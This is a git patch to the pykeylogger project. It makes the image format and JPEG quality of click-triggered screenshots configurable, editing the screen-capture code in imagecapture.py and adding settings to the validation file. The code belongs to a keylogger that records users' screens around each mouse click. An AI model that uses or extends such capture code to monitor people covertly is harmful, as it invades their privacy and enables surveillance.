From 2df447a59c18902d719406366e91f1fac1fe4312 Mon Sep 17 00:00:00 2001 From: nanotube Date: Thu, 20 Mar 2008 05:14:56 +0000 Subject: [PATCH] make image format and quality (for jpg) configurable. supports all writable image formats from PIL. --- imagecapture.py | 23 ++++------------------- pykeylogger.ini | Bin 9354 -> 9855 bytes pykeylogger.val | 10 +++++++++- 3 files changed, 13 insertions(+), 20 deletions(-) diff --git a/imagecapture.py b/imagecapture.py index d7e0db2..99f6bf4 100644 --- a/imagecapture.py +++ b/imagecapture.py @@ -135,7 +135,8 @@ class ImageWriter(threading.Thread): self.PrintDebug(cropbox) - savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y%m%d_%H%M%S') + "_" + self.filter.sub(r'__', self.getProcessName(event)) + ".png") + #savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y%m%d_%H%M%S') + "_" + self.filter.sub(r'__', self.getProcessName(event)) + ".png") + savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y%m%d_%H%M%S') + "_" + self.filter.sub(r'__', self.getProcessName(event)) + "." + self.settings['Image Capture']['Capture Clicks Image Format']) if os.name == 'posix': @@ -143,7 +144,7 @@ class ImageWriter(threading.Thread): try: #cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename raw = self.rootwin.get_image(cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, X.ZPixmap, AllPlanes) - Image.fromstring("RGBX", (cropbox.size.x, cropbox.size.y), raw.data, "raw", "BGRX").convert("RGB").save(savefilename) + Image.fromstring("RGBX", (cropbox.size.x, cropbox.size.y), raw.data, "raw", "BGRX").convert("RGB").save(savefilename, quality=self.settings['Image Capture']['Capture Clicks Image Quality']) return 0 except error.BadDrawable: print "bad drawable when attempting to get an image! Closed the window?" @@ -156,8 +157,7 @@ class ImageWriter(threading.Thread): if os.name == 'nt': img = ImageGrab.grab((cropbox.topleft.x, cropbox.topleft.y, cropbox.bottomright.x, cropbox.bottomright.y)) - img.save(savefilename) - + img.save(savefilename, quality=self.settings['Image Capture']['Capture Clicks Image Quality']) def getScreenSize(self): if os.name == 'posix': @@ -190,21 +190,6 @@ class ImageWriter(threading.Thread): elif os.name == 'posix': return str(event.WindowProcName) - #~ def captureclick(self, event): - #~ screensize = self.getScreenSize() - - #~ # The cropbox will take care of making sure our image is within - #~ # screen boundaries. - #~ cropbox = CropBox(topleft=Point(0,0), bottomright=self.imagedimensions, min=Point(0,0), max=screensize) - #~ cropbox.reposition(Point(event.Position[0], event.Position[1])) - - #~ self.savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y_%m_%d%_%H_%M_%S') + "_" + str(event.WindowProcName) + ".png") - - #~ try: - #~ self.capturewindow(self.rootwin, cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename) - #~ except: - #~ print "Encountered an error capturing the image for the window. Continuing anyway." - class Point: def __init__(self, x=0, y=0): self.x = x diff --git a/pykeylogger.ini b/pykeylogger.ini index e167fee2692b010698b4c8ae9b3d50b9615428f0..4f2bcf713793112b55306e3570035be026efccd7 100644 GIT binary patch delta 512 zcma)&&q~BF5Qp#k6hF{|LMgik5rm!=lobz(`vPg3)@afhn^fCV@B1{qp-$RW7GcH9 zkNlaL9{ySsVmjla0PDa#aeObT8*_e#f!(rsaoTjTBicGL^c>khDX+g zsRo26jmlVwxq_VxCok8WeF}ifwElYw6uIwXDWC*h9&SzGJ2~=yLiE*?~Vf;n<&?#%ea0GSYnt@;Uh5sNn z9>l?j1ZwO6#cYk(2_&w1jobU1Lx<^)T!lAfJMq<$!z$LVmP?$)$aU0LkYlTZmZ4n} RH?8(wm*+=pe6wW`{4f1^v6TP- delta 7 OcmezG)8)CLO9cQA<^z2I diff --git a/pykeylogger.val b/pykeylogger.val index 6f88c46..4484512 100644 --- a/pykeylogger.val +++ b/pykeylogger.val @@ -193,4 +193,12 @@ Capture Clicks Width = integer(min=1, max=65534, default=150) # default: 150 Capture Clicks Height Tooltip = string() -Capture Clicks Height = integer(min=1, max=65534, default=150) \ No newline at end of file +Capture Clicks Height = integer(min=1, max=65534, default=150) + +# default: png +Capture Clicks Image Format Tooltip = string() +Capture Clicks Image Format = string(min=3, max=3, default="png") + +# default: 75 +Capture Clicks Image Quality Tooltip = string() +Capture Clicks Image Quality = integer(min=1, max=75, default=75) -- 2.45.1